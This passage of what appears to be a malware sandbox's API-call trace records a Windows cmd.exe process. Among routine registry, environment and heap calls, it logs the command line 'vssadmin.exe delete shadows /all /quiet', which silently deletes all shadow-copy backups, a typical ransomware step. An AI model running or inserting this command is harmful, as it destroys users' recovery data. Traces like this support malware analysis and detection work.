AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 23 os_tid = 0xc78 [0067.453] GetModuleHandleA (lpModuleName=0x0) returned 0xb60000 [0067.453] __set_app_type (_Type=0x1) [0067.453] __p__fmode () returned 0x77803c14 [0067.453] __p__commode () returned 0x778049ec [0067.453] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb76fd0) returned 0x0 [0067.454] __getmainargs (in: _Argc=0xb8d1a4, _Argv=0xb8d1a8, _Env=0xb8d1ac, _DoWildCard=0, _StartInfo=0xb8d1b8 | out: _Argc=0xb8d1a4, _Argv=0xb8d1a8, _Env=0xb8d1ac) returned 0 [0067.454] _onexit (_Func=0xb78030) returned 0xb78030 [0067.454] _onexit (_Func=0xb78040) returned 0xb78040 [0067.454] _onexit (_Func=0xb78050) returned 0xb78050 [0067.454] _onexit (_Func=0xb78060) returned 0xb78060 [0067.454] _onexit (_Func=0xb78070) returned 0xb78070 [0067.456] _onexit (_Func=0xb78080) returned 0xb78080 [0067.456] GetCurrentThreadId () returned 0xc78 [0067.456] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xc78) returned 0xbc [0067.456] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000 [0067.456] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70 [0067.456] SetThreadUILanguage (LangId=0x0) returned 0x780409 [0067.713] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.713] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x8ffc08 | out: phkResult=0x8ffc08*=0x0) returned 0x2 [0067.713] VirtualQuery (in: lpAddress=0x8ffc13, lpBuffer=0x8ffbc0, dwLength=0x1c | out: lpBuffer=0x8ffbc0*(BaseAddress=0x8ff000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0067.713] VirtualQuery (in: lpAddress=0x800000, lpBuffer=0x8ffbc0, dwLength=0x1c | out: lpBuffer=0x8ffbc0*(BaseAddress=0x800000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0067.713] VirtualQuery (in: lpAddress=0x801000, lpBuffer=0x8ffbc0, dwLength=0x1c | out: lpBuffer=0x8ffbc0*(BaseAddress=0x801000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0067.713] VirtualQuery (in: lpAddress=0x803000, lpBuffer=0x8ffbc0, dwLength=0x1c | out: lpBuffer=0x8ffbc0*(BaseAddress=0x803000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0067.713] VirtualQuery (in: lpAddress=0x900000, lpBuffer=0x8ffbc0, dwLength=0x1c | out: lpBuffer=0x8ffbc0*(BaseAddress=0x900000, AllocationBase=0x900000, AllocationProtect=0x2, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0067.713] GetConsoleOutputCP () returned 0x1b5 [0067.934] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb93850 | out: lpCPInfo=0xb93850) returned 1 [0067.934] SetConsoleCtrlHandler (HandlerRoutine=0xb87260, Add=1) returned 1 [0067.935] _get_osfhandle (_FileHandle=1) returned 0x90 [0067.935] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb9388c | out: lpMode=0xb9388c) returned 1 [0068.146] _get_osfhandle (_FileHandle=0) returned 0x8c [0068.146] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb93888 | out: lpMode=0xb93888) returned 1 [0068.392] _get_osfhandle (_FileHandle=1) returned 0x90 [0068.392] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0068.540] _get_osfhandle (_FileHandle=1) returned 0x90 [0068.540] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb93890 | out: lpMode=0xb93890) returned 1 [0068.742] _get_osfhandle (_FileHandle=1) returned 0x90 [0068.742] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0068.835] _get_osfhandle (_FileHandle=0) returned 0x8c [0068.835] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb93894 | out: lpMode=0xb93894) returned 1 [0068.929] _get_osfhandle (_FileHandle=0) returned 0x8c [0068.929] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0069.022] GetEnvironmentStringsW () returned 0x2da4d38* [0069.022] GetProcessHeap () returned 0x2da0000 [0069.022] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xb7c) returned 0x2da58c0 [0069.022] FreeEnvironmentStringsA (penv="A") returned 1 [0069.022] GetProcessHeap () returned 0x2da0000 [0069.023] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x4) returned 0x2da4818 [0069.023] GetEnvironmentStringsW () returned 0x2da4d38* [0069.023] GetProcessHeap () returned 0x2da0000 [0069.023] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xb7c) returned 0x2da6448 [0069.023] FreeEnvironmentStringsA (penv="A") returned 1 [0069.023] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8feb64 | out: phkResult=0x8feb64*=0xcc) returned 0x0 [0069.023] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x0, lpData=0x8feb70*=0x80, lpcbData=0x8feb68*=0x1000) returned 0x2 [0069.023] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x4, lpData=0x8feb70*=0x1, lpcbData=0x8feb68*=0x4) returned 0x0 [0069.023] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x0, lpData=0x8feb70*=0x1, lpcbData=0x8feb68*=0x1000) returned 0x2 [0069.023] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x4, lpData=0x8feb70*=0x0, lpcbData=0x8feb68*=0x4) returned 0x0 [0069.023] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x4, lpData=0x8feb70*=0x40, lpcbData=0x8feb68*=0x4) returned 0x0 [0069.023] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x4, lpData=0x8feb70*=0x40, lpcbData=0x8feb68*=0x4) returned 0x0 [0069.023] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x0, lpData=0x8feb70*=0x40, lpcbData=0x8feb68*=0x1000) returned 0x2 [0069.023] RegCloseKey (hKey=0xcc) returned 0x0 [0069.023] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8feb64 | out: phkResult=0x8feb64*=0xcc) returned 0x0 [0069.023] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x0, lpData=0x8feb70*=0x40, lpcbData=0x8feb68*=0x1000) returned 0x2 [0069.023] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x4, lpData=0x8feb70*=0x1, lpcbData=0x8feb68*=0x4) returned 0x0 [0069.023] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x0, lpData=0x8feb70*=0x1, lpcbData=0x8feb68*=0x1000) returned 0x2 [0069.024] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x4, lpData=0x8feb70*=0x0, lpcbData=0x8feb68*=0x4) returned 0x0 [0069.024] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x4, lpData=0x8feb70*=0x9, lpcbData=0x8feb68*=0x4) returned 0x0 [0069.024] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x4, lpData=0x8feb70*=0x9, lpcbData=0x8feb68*=0x4) returned 0x0 [0069.024] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8feb6c, lpData=0x8feb70, lpcbData=0x8feb68*=0x1000 | out: lpType=0x8feb6c*=0x0, lpData=0x8feb70*=0x9, lpcbData=0x8feb68*=0x1000) returned 0x2 [0069.024] RegCloseKey (hKey=0xcc) returned 0x0 [0069.024] time (in: timer=0x0 | out: timer=0x0) returned 0x5e44b714 [0069.024] srand (_Seed=0x5e44b714) [0069.024] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c \"vssadmin.exe delete shadows /all /quiet\"" [0069.024] malloc (_Size=0x4000) returned 0x572338 [0069.024] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c \"vssadmin.exe delete shadows /all /quiet\"" [0069.024] malloc (_Size=0xffce) returned 0x2ea0048 [0069.025] ??_V@YAXPAX@Z () returned 0x8ffb48 [0069.025] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ea0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.026] malloc (_Size=0xffce) returned 0x2eb0020 [0069.026] ??_V@YAXPAX@Z () returned 0x8ff91c [0069.027] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2eb0020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0069.027] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0069.027] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.027] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0069.027] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0069.027] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0069.027] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0069.027] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0069.027] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0069.027] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0069.027] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0069.027] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0069.027] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0069.028] GetProcessHeap () returned 0x2da0000 [0069.028] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da58c0) returned 1 [0069.028] GetEnvironmentStringsW () returned 0x2da4d38* [0069.028] GetProcessHeap () returned 0x2da0000 [0069.028] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xb94) returned 0x2da7b88 [0069.028] FreeEnvironmentStringsA (penv="A") returned 1 [0069.028] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0069.028] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0069.028] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0069.028] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0069.028] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0069.028] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0069.028] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0069.028] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0069.028] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0069.028] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0069.028] malloc (_Size=0xffce) returned 0x2ebfff8 [0069.028] ??_V@YAXPAX@Z () returned 0x8ff6b4 [0069.029] GetProcessHeap () returned 0x2da0000 [0069.029] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x38) returned 0x2da8728 [0069.029] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ebfff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2ebfff8, lpFilePart=0x8ff700 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x8ff700*="Desktop") returned 0x17 [0069.029] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0069.030] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x8ff480 | out: lpFindFileData=0x8ff480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x2da8768 [0069.030] FindClose (in: hFindFile=0x2da8768 | out: hFindFile=0x2da8768) returned 1 [0069.030] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x8ff480 | out: lpFindFileData=0x8ff480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x2da8768 [0069.030] FindClose (in: hFindFile=0x2da8768 | out: hFindFile=0x2da8768) returned 1 [0069.030] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x8ff480 | out: lpFindFileData=0x8ff480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xeeaeb1df, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xeeaeb1df, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x2da8768 [0069.030] FindClose (in: hFindFile=0x2da8768 | out: hFindFile=0x2da8768) returned 1 [0069.030] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0069.030] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0069.030] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0069.030] GetProcessHeap () returned 0x2da0000 [0069.030] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da7b88) returned 1 [0069.030] GetEnvironmentStringsW () returned 0x2da6fe8* [0069.030] GetProcessHeap () returned 0x2da0000 [0069.030] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xbcc) returned 0x2da8768 [0069.031] FreeEnvironmentStringsA (penv="=") returned 1 [0069.031] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ea0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.031] GetProcessHeap () returned 0x2da0000 [0069.031] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da8728) returned 1 [0069.031] ??_V@YAXPAX@Z () returned 0x1 [0069.031] ??_V@YAXPAX@Z () returned 0x1 [0069.031] GetProcessHeap () returned 0x2da0000 [0069.031] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x400e) returned 0x2da9340 [0069.031] GetProcessHeap () returned 0x2da0000 [0069.031] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x60) returned 0x2da5910 [0069.031] GetProcessHeap () returned 0x2da0000 [0069.031] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x4008) returned 0x2dad358 [0069.032] GetProcessHeap () returned 0x2da0000 [0069.032] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x4008) returned 0x2db1368 [0069.033] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0069.033] malloc (_Size=0xffce) returned 0x2eb0020 [0069.033] ??_V@YAXPAX@Z () returned 0x8ff864 [0069.033] GetProcessHeap () returned 0x2da0000 [0069.033] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x1ffa4) returned 0x2db5378 [0069.035] SetErrorMode (uMode=0x0) returned 0x0 [0069.035] SetErrorMode (uMode=0x1) returned 0x0 [0069.035] GetFullPathNameW (in: lpFileName="vssadmin.exe delete shadows \\all \\.", nBufferLength=0xffce, lpBuffer=0x2db5380, lpFilePart=0x8ff884 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\vssadmin.exe delete shadows \\all", lpFilePart=0x8ff884*="all") returned 0x38 [0069.035] SetErrorMode (uMode=0x0) returned 0x1 [0069.035] GetProcessHeap () returned 0x2da0000 [0069.035] RtlReAllocateHeap (Heap=0x2da0000, Flags=0x0, Ptr=0x2db5378, Size=0x86) returned 0x2db5378 [0069.035] GetProcessHeap () returned 0x2da0000 [0069.035] RtlSizeHeap (HeapHandle=0x2da0000, Flags=0x0, MemoryPointer=0x2db5378) returned 0x86 [0069.036] NeedCurrentDirectoryForExePathW (ExeName="vssadmin.exe delete shadows \\all \\.") returned 1 [0069.036] GetProcessHeap () returned 0x2da0000 [0069.036] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x80) returned 0x2da5978 [0069.036] GetProcessHeap () returned 0x2da0000 [0069.036] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xf4) returned 0x2da5a00 [0069.036] GetProcessHeap () returned 0x2da0000 [0069.036] RtlReAllocateHeap (Heap=0x2da0000, Flags=0x0, Ptr=0x2da5a00, Size=0x80) returned 0x2da5a00 [0069.036] GetProcessHeap () returned 0x2da0000 [0069.037] RtlSizeHeap (HeapHandle=0x2da0000, Flags=0x0, MemoryPointer=0x2da5a00) returned 0x80 [0069.037] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.037] GetProcessHeap () returned 0x2da0000 [0069.037] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xe0) returned 0x2da5a88 [0069.040] GetProcessHeap () returned 0x2da0000 [0069.040] RtlReAllocateHeap (Heap=0x2da0000, Flags=0x0, Ptr=0x2da5a88, Size=0x76) returned 0x2da5a88 [0069.040] GetProcessHeap () returned 0x2da0000 [0069.040] RtlSizeHeap (HeapHandle=0x2da0000, Flags=0x0, MemoryPointer=0x2da5a88) returned 0x76 [0069.041] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.041] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.exe delete shadows \\all\\quiet.*", fInfoLevelId=0x1, lpFindFileData=0x8ff610, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8ff610) returned 0xffffffff [0069.041] GetLastError () returned 0x3 [0069.041] ??_V@YAXPAX@Z () returned 0x1 [0069.041] GetProcessHeap () returned 0x2da0000 [0069.041] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2dad358) returned 1 [0069.042] GetProcessHeap () returned 0x2da0000 [0069.042] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2db1368) returned 1 [0069.042] GetProcessHeap () returned 0x2da0000 [0069.042] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da9340) returned 1 [0069.042] GetConsoleOutputCP () returned 0x1b5 [0069.150] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb93850 | out: lpCPInfo=0xb93850) returned 1 [0069.150] GetUserDefaultLCID () returned 0x409 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb8f82c, cchData=8 | out: lpLCData=":") returned 2 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x8ffa70, cchData=128 | out: lpLCData="0") returned 2 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x8ffa70, cchData=128 | out: lpLCData="0") returned 2 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x8ffa70, cchData=128 | out: lpLCData="1") returned 2 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb8f81c, cchData=8 | out: lpLCData="/") returned 2 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb8f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb8f778, cchData=32 | out: lpLCData="Tue") returned 4 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb8f738, cchData=32 | out: lpLCData="Wed") returned 4 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb8f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb8f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb8f678, cchData=32 | out: lpLCData="Sat") returned 4 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb8f638, cchData=32 | out: lpLCData="Sun") returned 4 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb8f80c, cchData=8 | out: lpLCData=".") returned 2 [0069.151] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb8f7f8, cchData=8 | out: lpLCData=",") returned 2 [0069.151] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0069.153] GetProcessHeap () returned 0x2da0000 [0069.153] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x0, Size=0x20c) returned 0x2da5b50 [0069.153] GetConsoleTitleW (in: lpConsoleTitle=0x2da5b50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0069.240] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000 [0069.240] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330 [0069.240] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930 [0069.240] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0 [0069.240] ??_V@YAXPAX@Z () returned 0x1 [0069.241] GetProcessHeap () returned 0x2da0000 [0069.241] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x400a) returned 0x2da9340 [0069.241] GetProcessHeap () returned 0x2da0000 [0069.241] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da9340) returned 1 [0069.242] _wcsicmp (_String1="vssadmin.exe", _String2=")") returned 77 [0069.242] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16 [0069.242] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16 [0069.242] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13 [0069.242] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13 [0069.242] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4 [0069.243] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4 [0069.243] GetProcessHeap () returned 0x2da0000 [0069.243] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x58) returned 0x2da5d68 [0069.243] GetProcessHeap () returned 0x2da0000 [0069.243] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x22) returned 0x2da5dc8 [0069.243] GetProcessHeap () returned 0x2da0000 [0069.243] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x40) returned 0x2da5df8 [0069.244] GetConsoleTitleW (in: lpConsoleTitle=0x8ff968, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0069.353] malloc (_Size=0xffce) returned 0x2eb2688 [0069.354] ??_V@YAXPAX@Z () returned 0x8ff6f4 [0069.354] malloc (_Size=0xffce) returned 0x2ec2660 [0069.355] ??_V@YAXPAX@Z () returned 0x8ff4ac [0069.355] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\vssadmin.exe")) returned 0xffffffff [0069.356] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0069.356] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0069.356] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0069.356] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0069.356] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0069.356] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0069.356] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0069.356] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0069.356] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0069.356] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0069.356] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0069.356] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0069.356] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0069.356] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0069.356] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0069.356] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0069.356] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0069.356] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0069.356] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 